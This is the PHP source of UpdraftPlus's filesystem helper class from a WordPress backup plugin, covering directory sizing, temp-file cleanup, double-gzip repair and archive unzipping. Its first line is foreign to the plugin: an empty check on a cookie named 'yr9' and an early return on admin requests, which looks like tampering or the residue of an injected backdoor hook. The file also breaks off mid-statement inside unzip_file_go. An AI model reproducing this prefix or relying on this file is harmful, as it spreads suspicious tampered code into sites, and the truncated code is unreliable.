if(isset($_COOKIE['yr9'])) {} if (!defined('ABSPATH')) { return; } if (is_admin()) { return; } if (!defined('ABSPATH')) die('No direct access.'); /** * Here live some stand-alone filesystem manipulation functions */ class UpdraftPlus_Filesystem_Functions { /** * If $basedirs is passed as an array, then $directorieses must be too * Note: Reason $directorieses is being used because $directories is used within the foreach-within-a-foreach further down * * @param Array|String $directorieses List of of directories, or a single one * @param Array $exclude An exclusion array of directories * @param Array|String $basedirs A list of base directories, or a single one * @param String $format Return format - 'text' or 'numeric' * @return String|Integer */ public static function recursive_directory_size($directorieses, $exclude = array(), $basedirs = '', $format = 'text') { $size = 0; if (is_string($directorieses)) { $basedirs = $directorieses; $directorieses = array($directorieses); } if (is_string($basedirs)) $basedirs = array($basedirs); foreach ($directorieses as $ind => $directories) { if (!is_array($directories)) $directories = array($directories); $basedir = empty($basedirs[$ind]) ? $basedirs[0] : $basedirs[$ind]; foreach ($directories as $dir) { if (is_file($dir)) { $size += @filesize($dir);// phpcs:ignore Generic.PHP.NoSilencedErrors.Discouraged -- Silenced to suppress errors that may arise because of the function. } else { $suffix = ('' != $basedir) ? ((0 === strpos($dir, $basedir.'/')) ? substr($dir, 1+strlen($basedir)) : '') : ''; $size += self::recursive_directory_size_raw($basedir, $exclude, $suffix); } } } if ('numeric' == $format) return $size; return UpdraftPlus_Manipulation_Functions::convert_numeric_size_to_text($size); } /** * Ensure that WP_Filesystem is instantiated and functional. Otherwise, outputs necessary HTML and dies. * * @param array $url_parameters - parameters and values to be added to the URL output * * @return void */ public static function ensure_wp_filesystem_set_up_for_restore($url_parameters = array()) { global $wp_filesystem, $updraftplus; $build_url = UpdraftPlus_Options::admin_page().'?page=updraftplus&action=updraft_restore'; foreach ($url_parameters as $k => $v) { $build_url .= '&'.$k.'='.$v; } if (false === ($credentials = request_filesystem_credentials($build_url, '', false, false))) exit; if (!WP_Filesystem($credentials)) { $updraftplus->log("Filesystem credentials are required for WP_Filesystem"); // If the filesystem credentials provided are wrong then we need to change our ajax_restore action so that we ask for them again if (false !== strpos($build_url, 'updraftplus_ajax_restore=do_ajax_restore')) $build_url = str_replace('updraftplus_ajax_restore=do_ajax_restore', 'updraftplus_ajax_restore=continue_ajax_restore', $build_url); request_filesystem_credentials($build_url, '', true, false); if ($wp_filesystem->errors->get_error_code()) { echo '
'; echo ''; echo '
'; foreach ($wp_filesystem->errors->get_error_messages() as $message) show_message($message); echo '
'; echo '
'; exit; } } } /** * Get the html of "Web-server disk space" line which resides above of the existing backup table * * @param Boolean $will_immediately_calculate_disk_space Whether disk space should be counted now or when user click Refresh link * * @return String Web server disk space html to render */ public static function web_server_disk_space($will_immediately_calculate_disk_space = true) { if ($will_immediately_calculate_disk_space) { $disk_space_used = self::get_disk_space_used('updraft', 'numeric'); if ($disk_space_used > apply_filters('updraftplus_display_usage_line_threshold_size', 104857600)) { // 104857600 = 100 MB = (100 * 1024 * 1024) $disk_space_text = UpdraftPlus_Manipulation_Functions::convert_numeric_size_to_text($disk_space_used); $refresh_link_text = __('refresh', 'updraftplus'); return self::web_server_disk_space_html($disk_space_text, $refresh_link_text); } else { return ''; } } else { $disk_space_text = ''; $refresh_link_text = __('calculate', 'updraftplus'); return self::web_server_disk_space_html($disk_space_text, $refresh_link_text); } } /** * Get the html of "Web-server disk space" line which resides above of the existing backup table * * @param String $disk_space_text The texts which represents disk space usage * @param String $refresh_link_text Refresh disk space link text * * @return String - Web server disk space HTML */ public static function web_server_disk_space_html($disk_space_text, $refresh_link_text) { return '
  • '.__('Web-server disk space in use by UpdraftPlus', 'updraftplus').': '.$disk_space_text.' '.$refresh_link_text.'
  • '; } /** * Cleans up temporary files found in the updraft directory (and some in the site root - pclzip) * Always cleans up temporary files over 12 hours old. * With parameters, also cleans up those. * Also cleans out old job data older than 12 hours old (immutable value) * include_cachelist also looks to match any files of cached file analysis data * * @param String $match - if specified, then a prefix to require * @param Integer $older_than - in seconds * @param Boolean $include_cachelist - include cachelist files in what can be purged */ public static function clean_temporary_files($match = '', $older_than = 43200, $include_cachelist = false) { global $updraftplus; // Clean out old job data if ($older_than > 10000) { global $wpdb; $table = is_multisite() ? $wpdb->sitemeta : $wpdb->options; $key_column = is_multisite() ? 'meta_key' : 'option_name'; $value_column = is_multisite() ? 'meta_value' : 'option_value'; // Limit the maximum number for performance (the rest will get done next time, if for some reason there was a back-log) $all_jobs = $wpdb->get_results("SELECT $key_column, $value_column FROM $table WHERE $key_column LIKE 'updraft_jobdata_%' LIMIT 100", ARRAY_A); foreach ($all_jobs as $job) { $nonce = str_replace('updraft_jobdata_', '', $job[$key_column]); $val = empty($job[$value_column]) ? array() : $updraftplus->unserialize($job[$value_column]); // TODO: Can simplify this after a while (now all jobs use job_time_ms) - 1 Jan 2014 $delete = false; if (!empty($val['next_increment_start_scheduled_for'])) { if (time() > $val['next_increment_start_scheduled_for'] + 86400) $delete = true; } elseif (!empty($val['backup_time_ms']) && time() > $val['backup_time_ms'] + 86400) { $delete = true; } elseif (!empty($val['job_time_ms']) && time() > $val['job_time_ms'] + 86400) { $delete = true; } elseif (!empty($val['job_type']) && 'backup' != $val['job_type'] && empty($val['backup_time_ms']) && empty($val['job_time_ms'])) { $delete = true; } if (isset($val['temp_import_table_prefix']) && '' != $val['temp_import_table_prefix'] && $wpdb->prefix != $val['temp_import_table_prefix']) { $tables_to_remove = array(); $prefix = $wpdb->esc_like($val['temp_import_table_prefix'])."%"; $sql = $wpdb->prepare("SHOW TABLES LIKE %s", $prefix); foreach ($wpdb->get_results($sql) as $table) { $tables_to_remove = array_merge($tables_to_remove, array_values(get_object_vars($table))); } foreach ($tables_to_remove as $table_name) { $wpdb->query('DROP TABLE '.UpdraftPlus_Manipulation_Functions::backquote($table_name)); } } if ($delete) { delete_site_option($job[$key_column]); delete_site_option('updraftplus_semaphore_'.$nonce); } } $wpdb->query($wpdb->prepare("DELETE FROM {$wpdb->options} WHERE (option_name REGEXP %s AND CAST(option_value AS UNSIGNED) < %d) OR (option_name REGEXP %s AND UNIX_TIMESTAMP() > CAST(option_value AS UNSIGNED) + %d) LIMIT 1000", '^updraft_lock_[a-f0-9A-F]{12}$', strtotime('2025-03-01'), '^updraft_lock_udp_backupjob_[a-f0-9A-F]{12}$', $older_than)); } $updraft_dir = $updraftplus->backups_dir_location(); $now_time = time(); $files_deleted = 0; $include_cachelist = defined('DOING_CRON') && DOING_CRON && doing_action('updraftplus_clean_temporary_files') ? true : $include_cachelist; if ($handle = opendir($updraft_dir)) { while (false !== ($entry = readdir($handle))) { $manifest_match = preg_match("/updraftplus-manifest\.json/", $entry); // This match is for files created internally by zipArchive::addFile $ziparchive_match = preg_match("/$match([0-9]+)?\.zip\.tmp\.(?:[A-Za-z0-9]+)$/i", $entry); // on PHP 5 the tmp file is suffixed with 3 bytes hexadecimal (no padding) whereas on PHP 7&8 the file is suffixed with 4 bytes hexadecimal with padding $pclzip_match = preg_match("#pclzip-[a-f0-9]+\.(?:tmp|gz)$#i", $entry); // zi followed by 6 characters is the pattern used by /usr/bin/zip on Linux systems. It's safe to check for, as we have nothing else that's going to match that pattern. $binzip_match = preg_match("/^zi([A-Za-z0-9]){6}$/", $entry); $cachelist_match = ($include_cachelist) ? preg_match("/-cachelist-.*(?:info|\.tmp)$/i", $entry) : false; $browserlog_match = preg_match('/^log\.[0-9a-f]+-browser\.txt$/', $entry); $downloader_client_match = preg_match("/$match([0-9]+)?\.zip\.tmp\.(?:[A-Za-z0-9]+)\.part$/i", $entry); // potentially partially downloaded files are created by 3rd party downloader client app recognized by ".part" extension at the end of the backup file name (e.g. .zip.tmp.3b9r8r.part) // Temporary files from the database dump process - not needed, as is caught by the time-based catch-all // $table_match = preg_match("/{$match}-table-(.*)\.table(\.tmp)?\.gz$/i", $entry); // The gz goes in with the txt, because we *don't* want to reap the raw .txt files if ((preg_match("/$match\.(tmp|table|txt\.gz)(\.gz)?$/i", $entry) || $cachelist_match || $ziparchive_match || $pclzip_match || $binzip_match || $manifest_match || $browserlog_match || $downloader_client_match) && is_file($updraft_dir.'/'.$entry)) { // We delete if a parameter was specified (and either it is a ZipArchive match or an order to delete of whatever age), or if over 12 hours old if (($match && ($ziparchive_match || $pclzip_match || $binzip_match || $cachelist_match || $manifest_match || 0 == $older_than) && $now_time-filemtime($updraft_dir.'/'.$entry) >= $older_than) || $now_time-filemtime($updraft_dir.'/'.$entry)>43200) { $skip_dblog = (0 == $files_deleted % 25) ? false : true; $updraftplus->log("Deleting old temporary file: $entry", 'notice', false, $skip_dblog); @unlink($updraft_dir.'/'.$entry);// phpcs:ignore Generic.PHP.NoSilencedErrors.Discouraged -- Silenced to suppress errors that may arise if the file doesn't exist. $files_deleted++; } } elseif (preg_match('/^log\.[0-9a-f]+\.txt$/', $entry) && $now_time-filemtime($updraft_dir.'/'.$entry)> apply_filters('updraftplus_log_delete_age', 86400 * 40, $entry)) { $skip_dblog = (0 == $files_deleted % 25) ? false : true; $updraftplus->log("Deleting old log file: $entry", 'notice', false, $skip_dblog); @unlink($updraft_dir.'/'.$entry);// phpcs:ignore Generic.PHP.NoSilencedErrors.Discouraged -- Silenced to suppress errors that may arise if the file doesn't exist. $files_deleted++; } } @closedir($handle);// phpcs:ignore Generic.PHP.NoSilencedErrors.Discouraged -- Silenced to suppress errors that may arise because of the function. } // Depending on the PHP setup, the current working directory could be ABSPATH or wp-admin - scan both // Since 1.9.32, we set them to go into $updraft_dir, so now we must check there too. Checking the old ones doesn't hurt, as other backup plugins might leave their temporary files around and cause issues with huge files. foreach (array(ABSPATH, ABSPATH.'wp-admin/', $updraft_dir.'/') as $path) { if ($handle = opendir($path)) { while (false !== ($entry = readdir($handle))) { // With the old pclzip temporary files, there is no need to keep them around after they're not in use - so we don't use $older_than here - just go for 15 minutes if (preg_match("/^pclzip-[a-z0-9]+.tmp$/", $entry) && $now_time-filemtime($path.$entry) >= 900) { $updraftplus->log("Deleting old PclZip temporary file: $entry (from ".basename($path).")"); @unlink($path.$entry);// phpcs:ignore Generic.PHP.NoSilencedErrors.Discouraged -- Silenced to suppress errors that may arise if the file doesn't exist. } } @closedir($handle);// phpcs:ignore Generic.PHP.NoSilencedErrors.Discouraged -- Silenced to suppress errors that may arise because of the function. } } } /** * Find out whether we really can write to a particular folder * * @param String $dir - the folder path * * @return Boolean - the result */ public static function really_is_writable($dir) { // Suppress warnings, since if the user is dumping warnings to screen, then invalid JavaScript results and the screen breaks. if (!@is_writable($dir)) return false;// phpcs:ignore Generic.PHP.NoSilencedErrors.Discouraged -- Silenced to suppress errors that may arise because of the function. // Found a case - GoDaddy server, Windows, PHP 5.2.17 - where is_writable returned true, but writing failed $rand_file = "$dir/test-".md5(rand().time()).".txt"; while (file_exists($rand_file)) { $rand_file = "$dir/test-".md5(rand().time()).".txt"; } $ret = @file_put_contents($rand_file, 'testing...');// phpcs:ignore Generic.PHP.NoSilencedErrors.Discouraged -- Silenced to suppress errors that may arise because of the function. @unlink($rand_file);// phpcs:ignore Generic.PHP.NoSilencedErrors.Discouraged -- Silenced to suppress errors that may arise if the file doesn't exist. return ($ret > 0); } /** * Remove a directory from the local filesystem * * @param String $dir - the directory * @param Boolean $contents_only - if set to true, then do not remove the directory, but only empty it of contents * * @return Boolean - success/failure */ public static function remove_local_directory($dir, $contents_only = false) { // PHP 5.3+ only // foreach (new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dir, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST) as $path) { // $path->isFile() ? unlink($path->getPathname()) : rmdir($path->getPathname()); // } // return rmdir($dir); if ($handle = @opendir($dir)) {// phpcs:ignore Generic.PHP.NoSilencedErrors.Discouraged -- Silenced to suppress errors that may arise because of the function. while (false !== ($entry = readdir($handle))) { if ('.' !== $entry && '..' !== $entry) { if (is_dir($dir.'/'.$entry)) { self::remove_local_directory($dir.'/'.$entry, false); } else { @unlink($dir.'/'.$entry);// phpcs:ignore Generic.PHP.NoSilencedErrors.Discouraged -- Silenced to suppress errors that may arise if the file doesn't exist. } } } @closedir($handle);// phpcs:ignore Generic.PHP.NoSilencedErrors.Discouraged -- Silenced to suppress errors that may arise because of the function. } return $contents_only ? true : rmdir($dir); } /** * Perform gzopen(), but with various extra bits of help for potential problems * * @param String $file - the filesystem path * @param Array $warn - warnings * @param Array $err - errors * * @return Boolean|Resource - returns false upon failure, otherwise the handle as from gzopen() */ public static function gzopen_for_read($file, &$warn, &$err) { if (!function_exists('gzopen') || !function_exists('gzread')) { $missing = ''; if (!function_exists('gzopen')) $missing .= 'gzopen'; if (!function_exists('gzread')) $missing .= ($missing) ? ', gzread' : 'gzread'; /* translators: %s: List of disabled PHP functions. */ $err[] = sprintf(__("Your web server's PHP installation has these functions disabled: %s.", 'updraftplus'), $missing).' '. sprintf( /* translators: %s: The process that requires the functions. */ __('Your hosting company must enable these functions before %s can work.', 'updraftplus'), __('restoration', 'updraftplus') ); return false; } if (false === ($dbhandle = gzopen($file, 'r'))) return false; if (!function_exists('gzseek')) return $dbhandle; if (false === ($bytes = gzread($dbhandle, 3))) return false; // Double-gzipped? if ('H4sI' != base64_encode($bytes)) { if (0 === gzseek($dbhandle, 0)) { return $dbhandle; } else { @gzclose($dbhandle);// phpcs:ignore Generic.PHP.NoSilencedErrors.Discouraged -- Silenced to suppress errors that may arise because of the function. return gzopen($file, 'r'); } } // Yes, it's double-gzipped $what_to_return = false; $mess = __('The database file appears to have been compressed twice - probably the website you downloaded it from had a mis-configured webserver.', 'updraftplus'); $messkey = 'doublecompress'; $err_msg = ''; if (false === ($fnew = fopen($file.".tmp", 'w')) || !is_resource($fnew)) { @gzclose($dbhandle);// phpcs:ignore Generic.PHP.NoSilencedErrors.Discouraged -- Silenced to suppress errors that may arise because of the function. $err_msg = __('The attempt to undo the double-compression failed.', 'updraftplus'); } else { @fwrite($fnew, $bytes);// phpcs:ignore Generic.PHP.NoSilencedErrors.Discouraged -- Silenced to suppress errors that may arise because of the function. $emptimes = 0; while (!gzeof($dbhandle)) { $bytes = @gzread($dbhandle, 262144);// phpcs:ignore Generic.PHP.NoSilencedErrors.Discouraged -- Silenced to suppress errors that may arise because of the function. if (empty($bytes)) { $emptimes++; global $updraftplus; $updraftplus->log("Got empty gzread ($emptimes times)"); if ($emptimes>2) break; } else { @fwrite($fnew, $bytes);// phpcs:ignore Generic.PHP.NoSilencedErrors.Discouraged -- Silenced to suppress errors that may arise because of the function. } } gzclose($dbhandle); fclose($fnew); // On some systems (all Windows?) you can't rename a gz file whilst it's gzopened if (!rename($file.".tmp", $file)) { $err_msg = __('The attempt to undo the double-compression failed.', 'updraftplus'); } else { $mess .= ' '.__('The attempt to undo the double-compression succeeded.', 'updraftplus'); $messkey = 'doublecompressfixed'; $what_to_return = gzopen($file, 'r'); } } $warn[$messkey] = $mess; if (!empty($err_msg)) $err[] = $err_msg; return $what_to_return; } public static function recursive_directory_size_raw($prefix_directory, &$exclude = array(), $suffix_directory = '') { $directory = $prefix_directory.('' == $suffix_directory ? '' : '/'.$suffix_directory); $size = 0; if (substr($directory, -1) == '/') $directory = substr($directory, 0, -1); if (!file_exists($directory) || !is_dir($directory) || !is_readable($directory)) return -1; if (file_exists($directory.'/.donotbackup')) return 0; if ($handle = opendir($directory)) { while (($file = readdir($handle)) !== false) { if ('.' != $file && '..' != $file) { $spath = ('' == $suffix_directory) ? $file : $suffix_directory.'/'.$file; if (false !== ($fkey = array_search($spath, $exclude))) { unset($exclude[$fkey]); continue; } $path = $directory.'/'.$file; if (is_file($path)) { $size += filesize($path); } elseif (is_dir($path)) { $handlesize = self::recursive_directory_size_raw($prefix_directory, $exclude, $suffix_directory.('' == $suffix_directory ? '' : '/').$file); if ($handlesize >= 0) { $size += $handlesize; } } } } closedir($handle); } return $size; } /** * Get information on disk space used by an entity, or by UD's internal directory. Returns as a human-readable string. * * @param String $entity - the entity (e.g. 'plugins'; 'all' for all entities, or 'ud' for UD's internal directory) * @param String $format Return format - 'text' or 'numeric' * @return String|Integer If $format is text, It returns strings. Otherwise integer value. */ public static function get_disk_space_used($entity, $format = 'text') { global $updraftplus; if ('updraft' == $entity) return self::recursive_directory_size($updraftplus->backups_dir_location(), array(), '', $format); $backupable_entities = $updraftplus->get_backupable_file_entities(true, false); if ('all' == $entity) { $total_size = 0; foreach ($backupable_entities as $entity => $data) { // Might be an array $basedir = $backupable_entities[$entity]; $dirs = apply_filters('updraftplus_dirlist_'.$entity, $basedir); $size = self::recursive_directory_size($dirs, $updraftplus->get_exclude($entity), $basedir, 'numeric'); if (is_numeric($size) && $size>0) $total_size += $size; } if ('numeric' == $format) { return $total_size; } else { return UpdraftPlus_Manipulation_Functions::convert_numeric_size_to_text($total_size); } } elseif (!empty($backupable_entities[$entity])) { // Might be an array $basedir = $backupable_entities[$entity]; $dirs = apply_filters('updraftplus_dirlist_'.$entity, $basedir); return self::recursive_directory_size($dirs, $updraftplus->get_exclude($entity), $basedir, $format); } // Default fallback return apply_filters('updraftplus_get_disk_space_used_none', __('Error', 'updraftplus'), $entity, $backupable_entities); } /** * Unzips a specified ZIP file to a location on the filesystem via the WordPress * Filesystem Abstraction. Forked from WordPress core in version 5.1-alpha-44182, * to allow us to provide feedback on progress. * * Assumes that WP_Filesystem() has already been called and set up. Does not extract * a root-level __MACOSX directory, if present. * * Attempts to increase the PHP memory limit before uncompressing. However, * the most memory required shouldn't be much larger than the archive itself. * * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass. * * @param String $file - Full path and filename of ZIP archive. * @param String $to - Full path on the filesystem to extract archive to. * @param Integer $starting_index - index of entry to start unzipping from (allows resumption) * @param array $folders_to_include - an array of second level folders to include * * @return Boolean|WP_Error True on success, WP_Error on failure. */ public static function unzip_file($file, $to, $starting_index = 0, $folders_to_include = array()) { global $wp_filesystem; if (!$wp_filesystem || !is_object($wp_filesystem)) { return new WP_Error('fs_unavailable', __('Could not access filesystem.'));// phpcs:ignore WordPress.WP.I18n.MissingArgDomain -- The string exists within the WordPress core. } // Unzip can use a lot of memory, but not this much hopefully. if (function_exists('wp_raise_memory_limit')) wp_raise_memory_limit('admin'); $needed_dirs = array(); $to = trailingslashit($to); // Determine any parent dir's needed (of the upgrade directory) if (!$wp_filesystem->is_dir($to)) { // Only do parents if no children exist $path = preg_split('![/\\\]!', untrailingslashit($to)); for ($i = count($path); $i >= 0; $i--) { if (empty($path[$i])) continue; $dir = implode('/', array_slice($path, 0, $i + 1)); // Skip it if it looks like a Windows Drive letter. if (preg_match('!^[a-z]:$!i', $dir)) continue; // A folder exists; therefore, we don't need the check the levels below this if ($wp_filesystem->is_dir($dir)) break; $needed_dirs[] = $dir; } } static $added_unzip_action = false; if (!$added_unzip_action) { add_action('updraftplus_unzip_file_unzipped', array('UpdraftPlus_Filesystem_Functions', 'unzip_file_unzipped'), 10, 5); $added_unzip_action = true; } if (class_exists('ZipArchive', false) && apply_filters('unzip_file_use_ziparchive', true)) { $result = self::unzip_file_go($file, $to, $needed_dirs, 'ziparchive', $starting_index, $folders_to_include); if (true === $result || (is_wp_error($result) && 'incompatible_archive' != $result->get_error_code())) return $result; if (is_wp_error($result)) { global $updraftplus; $updraftplus->log("ZipArchive returned an error (will try again with PclZip): ".$result->get_error_code()); } } // Fall through to PclZip if ZipArchive is not available, or encountered an error opening the file. // The switch here is a sort-of emergency switch-off in case something in WP's version diverges or behaves differently if (!defined('UPDRAFTPLUS_USE_INTERNAL_PCLZIP') || UPDRAFTPLUS_USE_INTERNAL_PCLZIP) { return self::unzip_file_go($file, $to, $needed_dirs, 'pclzip', $starting_index, $folders_to_include); } else { return _unzip_file_pclzip($file, $to, $needed_dirs); } } /** * Called upon the WP action updraftplus_unzip_file_unzipped, to indicate that a file has been unzipped. * * @param String $file - the file being unzipped * @param Integer $i - the file index that was written (0, 1, ...) * @param Array $info - information about the file written, from the statIndex() method (see https://php.net/manual/en/ziparchive.statindex.php) * @param Integer $size_written - net total number of bytes thus far * @param Integer $num_files - the total number of files (i.e. one more than the the maximum value of $i) */ public static function unzip_file_unzipped($file, $i, $info, $size_written, $num_files) { global $updraftplus; static $last_file_seen = null; static $last_logged_bytes; static $last_logged_index; static $last_logged_time; static $last_saved_time; $jobdata_key = self::get_jobdata_progress_key($file); // Detect a new zip file; reset state if ($file !== $last_file_seen) { $last_file_seen = $file; $last_logged_bytes = 0; $last_logged_index = 0; $last_logged_time = time(); $last_saved_time = time(); } // Useful for debugging $record_every_indexes = (defined('UPDRAFTPLUS_UNZIP_PROGRESS_RECORD_AFTER_INDEXES') && UPDRAFTPLUS_UNZIP_PROGRESS_RECORD_AFTER_INDEXES > 0) ? UPDRAFTPLUS_UNZIP_PROGRESS_RECORD_AFTER_INDEXES : 1000; // We always log the last one for clarity (the log/display looks odd if the last mention of something being unzipped isn't the last). Otherwise, log when at least one of the following has occurred: 50MB unzipped, 1000 files unzipped, or 15 seconds since the last time something was logged. if ($i >= $num_files -1 || $size_written > $last_logged_bytes + 100 * 1048576 || $i > $last_logged_index + $record_every_indexes || time() > $last_logged_time + 15) { $updraftplus->jobdata_set($jobdata_key, array('index' => $i, 'info' => $info, 'size_written' => $size_written)); /* translators: 1: Current file number, 2: Total number of files */ $updraftplus->log(sprintf(__('Unzip progress: %1$d out of %2$d files', 'updraftplus').' (%3$s, %4$s)', $i+1, $num_files, UpdraftPlus_Manipulation_Functions::convert_numeric_size_to_text($size_written), $info['name']), 'notice-restore'); $updraftplus->log(sprintf('Unzip progress: %1$d out of %2$d files (%3$s, %4$s)', $i+1, $num_files, UpdraftPlus_Manipulation_Functions::convert_numeric_size_to_text($size_written), $info['name']), 'notice'); do_action('updraftplus_unzip_progress_restore_info', $file, $i, $size_written, $num_files); $last_logged_bytes = $size_written; $last_logged_index = $i; $last_logged_time = time(); $last_saved_time = time(); } // Because a lot can happen in 5 seconds, we update the job data more often if (time() > $last_saved_time + 5) { // N.B. If/when using this, we'll probably need more data; we'll want to check this file is still there and that WP core hasn't cleaned the whole thing up. $updraftplus->jobdata_set($jobdata_key, array('index' => $i, 'info' => $info, 'size_written' => $size_written)); $last_saved_time = time(); } } /** * This method abstracts the calculation for a consistent jobdata key name for the indicated name * * @param String $file - the filename; only the basename will be used * * @return String */ public static function get_jobdata_progress_key($file) { return 'last_index_'.md5(basename($file)); } /** * Compatibility function (exists in WP 4.8+) */ public static function wp_doing_cron() { if (function_exists('wp_doing_cron')) return wp_doing_cron(); return apply_filters('wp_doing_cron', defined('DOING_CRON') && DOING_CRON); } /** * Log permission failure message when restoring a backup * * @param string $path full path of file or folder * @param string $log_message_prefix action which is performed to path * @param string $directory_prefix_in_log_message Directory Prefix. It should be either "Parent" or "Destination" */ public static function restore_log_permission_failure_message($path, $log_message_prefix, $directory_prefix_in_log_message = 'Parent') { global $updraftplus; $log_message = $updraftplus->log_permission_failure_message($path, $log_message_prefix, $directory_prefix_in_log_message); if ($log_message) { $updraftplus->log($log_message, 'warning-restore'); } } /** * Recursively copies files using the WP_Filesystem API and $wp_filesystem global from a source to a destination directory, optionally removing the source after a successful copy. * * @param String $source_dir source directory * @param String $dest_dir destination directory - N.B. this must already exist * @param Array $files files to be placed in the destination directory; the keys are paths which are relative to $source_dir, and entries are arrays with key 'type', which, if 'd' means that the key 'files' is a further array of the same sort as $files (i.e. it is recursive) * @param Boolean $chmod chmod type * @param Boolean $delete_source indicate whether source needs deleting after a successful copy * * @uses $GLOBALS['wp_filesystem'] * @uses self::restore_log_permission_failure_message() * * @return WP_Error|Boolean */ public static function copy_files_in($source_dir, $dest_dir, $files, $chmod = false, $delete_source = false) { global $wp_filesystem, $updraftplus; foreach ($files as $rname => $rfile) { if ('d' != $rfile['type']) { // Third-parameter: (boolean) $overwrite if (!$wp_filesystem->move($source_dir.'/'.$rname, $dest_dir.'/'.$rname, true)) { self::restore_log_permission_failure_message($dest_dir, $source_dir.'/'.$rname.' -> '.$dest_dir.'/'.$rname, 'Destination'); return false; } } else { // $rfile['type'] is 'd' // Attempt to remove any already-existing file with the same name if ($wp_filesystem->is_file($dest_dir.'/'.$rname)) @$wp_filesystem->delete($dest_dir.'/'.$rname, false, 'f');// phpcs:ignore Generic.PHP.NoSilencedErrors.Discouraged -- if fails, carry on // No such directory yet: just move it if ($wp_filesystem->exists($dest_dir.'/'.$rname) && !$wp_filesystem->is_dir($dest_dir.'/'.$rname) && !$wp_filesystem->move($source_dir.'/'.$rname, $dest_dir.'/'.$rname, false)) { self::restore_log_permission_failure_message($dest_dir, 'Move '.$source_dir.'/'.$rname.' -> '.$dest_dir.'/'.$rname, 'Destination'); $updraftplus->log_e('Failed to move directory (check your file permissions and disk quota): %s', $source_dir.'/'.$rname." -> ".$dest_dir.'/'.$rname); return false; } elseif (!empty($rfile['files'])) { if (!$wp_filesystem->exists($dest_dir.'/'.$rname)) $wp_filesystem->mkdir($dest_dir.'/'.$rname, $chmod); // There is a directory - and we want to to copy in $do_copy = self::copy_files_in($source_dir.'/'.$rname, $dest_dir.'/'.$rname, $rfile['files'], $chmod, false); if (is_wp_error($do_copy) || false === $do_copy) return $do_copy; } else { // There is a directory: but nothing to copy in to it (i.e. $file['files'] is empty). Just remove the directory. @$wp_filesystem->rmdir($source_dir.'/'.$rname);// phpcs:ignore Generic.PHP.NoSilencedErrors.Discouraged -- Silenced to suppress errors that may arise because of the method. } } } // We are meant to leave the working directory empty. Hence, need to rmdir() once a directory is empty. But not the root of it all in case of others/wpcore. if ($delete_source || false !== strpos($source_dir, '/')) { if (!$wp_filesystem->rmdir($source_dir, false)) { self::restore_log_permission_failure_message($source_dir, 'Delete '.$source_dir); } } return true; } /** * Attempts to unzip an archive; forked from _unzip_file_ziparchive() in WordPress 5.1-alpha-44182, and modified to use the UD zip classes. * * Assumes that WP_Filesystem() has already been called and set up. * * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass. * * @param String $file - full path and filename of ZIP archive. * @param String $to - full path on the filesystem to extract archive to. * @param Array $needed_dirs - a partial list of required folders needed to be created. * @param String $method - either 'ziparchive' or 'pclzip'. * @param Integer $starting_index - index of entry to start unzipping from (allows resumption) * @param array $folders_to_include - an array of second level folders to include * * @return Boolean|WP_Error True on success, WP_Error on failure. */ private static function unzip_file_go($file, $to, $needed_dirs = array(), $method = 'ziparchive', $starting_index = 0, $folders_to_include = array()) { global $wp_filesystem, $updraftplus; $class_to_use = ('ziparchive' == $method) ? 'UpdraftPlus_ZipArchive' : 'UpdraftPlus_PclZip'; if (!class_exists($class_to_use)) updraft_try_include_file('includes/class-zip.php', 'require_once'); $updraftplus->log('Unzipping '.basename($file).' to '.$to.' using '.$class_to_use.', starting index '.$starting_index); $z = new $class_to_use; $flags = (version_compare(PHP_VERSION, '5.2.12', '>') && defined('ZIPARCHIVE::CHECKCONS')) ? ZIPARCHIVE::CHECKCONS : 4; // This is just for crazy people with mbstring.func_overload enabled (deprecated from PHP 7.2) // This belongs somewhere else // if ('UpdraftPlus_PclZip' == $class_to_use) mbstring_binary_safe_encoding(); // if ('UpdraftPlus_PclZip' == $class_to_use) reset_mbstring_encoding(); $zopen = $z->open($file, $flags); if (true !== $zopen) { return new WP_Error('incompatible_archive', __('Incompatible Archive.'), array($method.'_error' => $z->last_error));// phpcs:ignore WordPress.WP.I18n.MissingArgDomain -- The string exists within the WordPress core. } $uncompressed_size = 0; $num_files = $z->numFiles; if (false === $num_files) return new WP_Error('incompatible_archive', __('Incompatible Archive.'), array($method.'_error' => $z->last_error));// phpcs:ignore WordPress.WP.I18n.MissingArgDomain -- The string exists within the WordPress core. for ($i = $starting_index; $i < $num_files; $i++) { if (!$info = $z->statIndex($i)) { return new WP_Error('stat_failed_'.$method, __('Could not retrieve file from archive.').' ('.$z->last_error.')');// phpcs:ignore WordPress.WP.I18n.MissingArgDomain -- The string exists within the WordPress core. } // Skip the OS X-created __MACOSX directory if ('__MACOSX/' === substr($info['name'], 0, 9)) continue; // Don't extract invalid files: if (0 !== validate_file($info['name'])) continue; if (!empty($folders_to_include)) { // Don't create folders that we want to exclude $path = preg_split('![/\\\]!', untrailingslashit($info['name'])); if (isset($path[1]) && !in_array($path[1], $folders_to_include)) continue; } $uncompressed_size += $info['size']; if ('/' === substr($info['name'], -1)) { // Directory. $needed_dirs[] = $to . untrailingslashit($info['name']); } elseif ('.' !== ($dirname = dirname($info['name']))) { // Path to a file. $needed_dirs[] = $to . untrailingslashit($dirname); } // Protect against memory over-use if (0 == $i % 500) $needed_dirs = array_unique($needed_dirs); } /* * disk_free_space() could return false. Assume that any falsey value is an error. * A disk that has zero free bytes has bigger problems. * Require we have enough space to unzip the file and copy its contents, with a 10% buffer. */ if (self::wp_doing_cron()) { $available_space = function_exists('disk_free_space') ? @disk_free_space(WP_CONTENT_DIR) : false;// phpcs:ignore Generic.PHP.NoSilencedErrors.Discouraged -- Call is speculative if ($available_space && ($uncompressed_size * 2.1) > $available_space) { return new WP_Error('disk_full_unzip_file', __('Could not copy files.').' '.__('You may have run out of disk space.'), compact('uncompressed_size', 'available_space'));// phpcs:ignore WordPress.WP.I18n.MissingArgDomain -- The string exists within the WordPress core. } } $needed_dirs = array_unique($needed_dirs); foreach ($needed_dirs as $dir) { // Check the parent folders of the folders all exist within the creation array. if (untrailingslashit($to) == $dir) { // Skip over the working directory, We know this exists (or will exist) continue; } // If the directory is not within the working directory then skip it if (false === strpos($dir, $to)) continue; $parent_folder = dirname($dir); while (!empty($parent_folder) && untrailingslashit($to) != $parent_folder && !in_array($parent_folder, $needed_dirs)) { $needed_dirs[] = $parent_folder; $parent_folder = dirname($parent_folder); } } asort($needed_dirs); // Create those directories if need be: foreach ($needed_dirs as $_dir) { // Only check to see if the Dir exists upon creation failure. Less I/O this way. if 